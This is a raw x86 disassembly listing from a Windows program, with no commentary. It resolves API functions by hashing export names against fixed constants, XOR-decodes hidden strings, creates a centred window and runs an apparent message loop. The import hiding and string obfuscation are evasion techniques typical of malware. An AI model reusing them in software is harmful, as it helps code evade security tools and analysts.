mov edx, 0x11356050
mov al, byte [ecx]
inc ecx
test al, al
je 0x415bcd
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x415bb0
cmp edx, 0x9a8e57b1
je 0x415bd9
mov edx, dword [0x421810]
inc edi
add esi, 4
jmp 0x415ba0
mov esi, dword [esp + 0x14]
mov edx, dword [0x421810]
push 0xf
push 0xf
mov eax, dword [esi + 0x24]
push 0x258
push 0x190
push 0
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
push 0
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov dword [esp + 0x1c], eax
xor edi, edi
mov eax, dword [0x421820]
mov ecx, dword [eax + 0x3c]
mov ecx, dword [ecx + eax + 0x78]
add ecx, eax
mov dword [esp + 0x14], ecx
mov esi, dword [ecx + 0x20]
add esi, eax
nop dword [eax]
mov ecx, dword [esi]
mov edx, 0x5b815174
add ecx, eax
mov al, byte [ecx]
inc ecx
test al, al
je 0x415c5d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x415c40
cmp edx, 0xe521720a
je 0x415c68
mov eax, dword [0x421820]
inc edi
add esi, 4
jmp 0x415c30
mov esi, dword [esp + 0x14]
mov edx, dword [0x421820]
push 0
push 0
mov eax, dword [esi + 0x24]
push 0
push 0
push 0x258
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0x190
push 1
lea eax, [eax + ecx*4]
mov edi, dword [eax + edx]
add edi, edx
call esi
cdq
sub eax, edx
sar eax, 1
sub eax, 0x12c
push eax
push 0
call esi
cdq
sub eax, edx
sar eax, 1
sub eax, 0xc8
push eax
push 0x96000000
push ecx
call fcn.00412950
add esp, 4
push eax
push dword [esp + 0xa4]
push 0x20
call edi
mov dword [0x421814], eax
xor edi, edi
mov eax, dword [0x421820]
mov ecx, dword [eax + 0x3c]
mov ecx, dword [ecx + eax + 0x78]
add ecx, eax
mov dword [esp + 0x14], ecx
mov esi, dword [ecx + 0x20]
add esi, eax
mov ecx, dword [esi]
mov edx, 0x770113d
add ecx, eax
mov al, byte [ecx]
inc ecx
test al, al
je 0x415d22
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x415d05
cmp edx, 0xc9e21ad6
je 0x415d2d
mov eax, dword [0x421820]
inc edi
add esi, 4
jmp 0x415cf5
mov esi, dword [esp + 0x14]
mov edx, dword [0x421820]
push 0
push dword [esp + 0x20]
mov eax, dword [esi + 0x24]
push dword [0x421814]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov edi, dword [0x421820]
mov eax, dword [edi + 0x3c]
mov ecx, dword [eax + edi + 0x78]
add ecx, edi
xor eax, eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x14], ecx
mov eax, dword [ecx + 0x20]
mov dword [esp + 0x1c], eax
lea esi, [eax + edi]
nop dword [eax]
mov ecx, dword [esi]
mov edx, 0xe1fd7ae0
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x415dad
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x415d90
cmp edx, 0xa2632fcb
je 0x415db6
inc dword [esp + 0x28]
add esi, 4
jmp 0x415d80
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x1c]
mov ecx, dword [eax + 0x24]
mov edx, dword [eax + 0x1c]
mov eax, dword [esp + 0x28]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x2c], edx
lea eax, [ecx + eax*2]
movzx eax, word [eax + edi]
lea eax, [edx + eax*4]
mov eax, dword [eax + edi]
add eax, edi
mov dword [esp + 0x24], eax
xor eax, eax
mov dword [esp + 0x28], eax
add esi, edi
nop dword [eax + eax]
mov ecx, dword [esi]
mov edx, 0xe2fd7c73
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x415e1d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x415e00
cmp edx, 0xc843d17b
je 0x415e26
inc dword [esp + 0x28]
add esi, 4
jmp 0x415df0
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x14]
push 0x7f00
push 0
lea eax, [edi + eax*2]
movzx eax, word [eax + ecx]
mov ecx, dword [esp + 0x34]
lea eax, [ecx + eax*4]
mov esi, dword [eax + edi]
add esi, edi
call dword [esp + 0x2c]
push eax
call esi
mov cl, 0x67
mov byte [esp + 0x12], 0
mov al, 0x4e
mov byte [esp + 0x10], cl
xor al, cl
mov byte [esp + 0x12], 0
sub esp, 0x18
mov byte [esp + 0x29], al
mov edx, esp
lea ecx, [esp + 0x29]
lea esi, [ecx + 1]
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x415e87
sub ecx, esi
lea eax, [esp + 0x29]
push ecx
push eax
mov ecx, edx
call fcn.0040c170
lea ecx, [esp + 0x15c]
call fcn.00412360
mov esi, eax
add esp, 0x18
cmp dword [esi + 0x14], 8
jb 0x415eb6
mov esi, dword [esi]
mov dl, 0x6d
mov dword [esp + 0xd0], 0x24292a6d
mov dword [esp + 0xd4], 0x43a4d46
xor ecx, ecx
mov dword [esp + 0xd8], 0x1a020903
mov word [esp + 0xdc], 0x454d
mov byte [esp + 0xde], 0
nop dword [eax]
lea eax, [esp + 0xd1]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xd
jae 0x415f09
mov dl, byte [esp + 0xd0]
jmp 0x415ef0
sub esp, 0x18
mov byte [esp + 0xf6], 0
mov edx, esp
lea ecx, [esp + 0xe9]
lea edi, [ecx + 1]
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x415f34
sub ecx, edi
lea eax, [esp + 0xe9]
push ecx
push eax
mov ecx, edx
call fcn.0040c170
lea ecx, [esp + 0x1f0]
call fcn.00412360
mov edx, eax
add esp, 0x18
cmp dword [edx + 0x14], 8
jb 0x415f66
mov edx, dword [edx]
mov ecx, edx
lea edi, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x415f70
sub ecx, edi
mov eax, 0x7ffffffe
mov edi, dword [esp + 0x130]
sub eax, edi
sar ecx, 1
cmp eax, ecx
jae 0x415f96
call fcn.004042b0
cmp dword [esp + 0x134], 8
lea eax, [esp + 0x120]
push edi
cmovae eax, dword [esp + 0x124]
push eax
push ecx
push edx
push ecx
push dword [esp + 0x58]
lea ecx, [esp + 0x1b0]
call fcn.0040d1c0
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x415fc7
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea ecx, [esp + 0x1a0]
call fcn.0040c450
xor ecx, ecx
movups xmm0, xmmword [eax]
movups xmmword [esp + 0x1f0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esp + 0x200], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov edx, dword [esp + 0x1ac]
cmp edx, 8
jb 0x416052
mov ecx, dword [esp + 0x198]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x416048
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416104
push edx
push ecx
call fcn.00418fbe
add esp, 8
mov edx, dword [esp + 0x1ec]
xor eax, eax
mov dword [esp + 0x1a8], 0
mov dword [esp + 0x1ac], 7
mov word [esp + 0x198], ax
cmp edx, 8
jb 0x4160b0
mov ecx, dword [esp + 0x1d8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4160a6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416104
push edx
push ecx
call fcn.00418fbe
add esp, 8
mov edx, dword [esp + 0x158]
xor eax, eax
mov dword [esp + 0x1e8], 0
mov dword [esp + 0x1ec], 7
mov word [esp + 0x1d8], ax
cmp edx, 8
jb 0x416114
mov ecx, dword [esp + 0x144]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41610a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x41610a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00418fbe
add esp, 8
mov edi, dword [0x421820]
xor eax, eax
cmp dword [esp + 0x204], 8
mov word [esp + 0x144], ax
lea eax, [esp + 0x1f0]
cmovae eax, dword [esp + 0x1f0]
mov dword [esp + 0x154], 0
mov dword [esp + 0x158], 7
mov dword [esp + 0x24], eax
mov eax, dword [edi + 0x3c]
mov ecx, dword [eax + edi + 0x78]
add ecx, edi
xor eax, eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ecx
mov eax, dword [ecx + 0x20]
mov dword [esp + 0x1c], eax
lea esi, [eax + edi]
mov ecx, dword [esi]
mov edx, 0x6291a279
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x41619f
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x416182
cmp edx, 0x4a165f7
je 0x4161a8
inc dword [esp + 0x10]
add esi, 4
jmp 0x416172
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x1c]
mov ecx, dword [eax + 0x24]
mov edx, dword [eax + 0x1c]
mov eax, dword [esp + 0x10]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x2c], edx
lea eax, [ecx + eax*2]
movzx eax, word [eax + edi]
lea eax, [edx + eax*4]
mov eax, dword [eax + edi]
add eax, edi
mov dword [esp + 0x28], eax
xor eax, eax
mov dword [esp + 0x10], eax
add esi, edi
nop dword [eax]
mov ecx, dword [esi]
mov edx, 0x6191a0e6
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x41620d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4161f0
cmp edx, 0xae0fae18
je 0x416216
inc dword [esp + 0x10]
add esi, 4
jmp 0x4161e0
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
mov esi, dword [esp + 0x2c]
push 0
lea eax, [edi + eax*2]
movzx eax, word [eax + ecx]
push 0
push 0x10
push dword [esp + 0x30]
lea eax, [edi + eax*4]
mov esi, dword [eax + esi]
push 0
add esi, edi
call dword [esp + 0x3c]
push eax
call esi
xorps xmm0, xmm0
mov dword [esp + 0x98], 0
movaps xmmword [esp + 0x80], xmm0
movq qword [esp + 0x90], xmm0
mov edi, dword [0x421820]
xor ecx, ecx
mov dword [esp + 0x10], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x14], eax
mov esi, dword [eax + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0x5f57f761
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4162ae
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x416291
cmp edx, 0xbb85f22
je 0x4162b7
inc dword [esp + 0x10]
add esi, 4
jmp 0x416281
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
push 0
push 0
mov eax, dword [edx + 0x24]
push 0
push dword [0x421814]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
lea ecx, [esp + 0x90]
add eax, edi
push ecx
call eax
xor ecx, ecx
mov dword [esp + 0x10], ecx
test eax, eax
je 0x41647e
mov edi, dword [0x421820]
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x14], eax
mov esi, dword [eax + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0x5b90a5da
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x41633d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x416320
cmp edx, 0xfb497186
je 0x416346
inc dword [esp + 0x10]
add esi, 4
jmp 0x416310
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
push 0
push 0
mov eax, dword [edx + 0x24]
push dword [0x421814]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
lea ecx, [esp + 0x8c]
add eax, edi
push ecx
call eax
xor ecx, ecx
mov dword [esp + 0x10], ecx
test eax, eax
je 0x4164f2
mov edi, dword [0x421820]
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x14], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop dword [eax]
mov ecx, dword [esi]
mov edx, 0xd73e0146
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4163cd
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4163b0
cmp edx, 0x22b90c83
je 0x4163d6
inc dword [esp + 0x10]
add esi, 4
jmp 0x4163a0
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x80]
mov ecx, dword [esp + 0x10]
push eax
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
mov ecx, dword [0x421820]
xor edi, edi
mov eax, dword [ecx + 0x3c]
mov eax, dword [eax + ecx + 0x78]
add eax, ecx
mov dword [esp + 0x14], eax
mov esi, dword [eax + 0x20]
add esi, ecx
mov eax, dword [esi]
mov edx, 0x50c65508
add eax, ecx
mov cl, byte [eax]
inc eax
test cl, cl
je 0x416444
movsx ecx, cl
lea eax, [eax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [eax - 1]
test cl, cl
jne 0x416427
cmp edx, 0xbdd5a412
je 0x416450
mov ecx, dword [0x421820]
inc edi
add esi, 4
jmp 0x416417
mov esi, dword [esp + 0x14]
lea eax, [esp + 0x80]
mov edx, dword [0x421820]
push eax
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
jmp 0x416263
mov edi, dword [0x42181c]
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x14], eax
mov esi, dword [eax + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0x5d324611
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4164c3
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4164a6
cmp edx, 0x1c9e554
je 0x4164cc
inc dword [esp + 0x10]
add esi, 4
jmp 0x416496
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
push 4
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
jmp 0x416263
mov edi, dword [0x42181c]
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x14], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop word [eax + eax]
mov ecx, dword [esi]
mov edx, 0x34de575d
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x41653d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x416520
cmp edx, 0xd39a206d
je 0x416546
inc dword [esp + 0x10]
add esi, 4
jmp 0x416510
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
push dword [0x421824]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
xor ecx, ecx
call fcn.00416740
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 6
mov dword [esp + 0x3c], 0
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
push 1
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
push 6
mov dword [esp + 0x44], 0
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3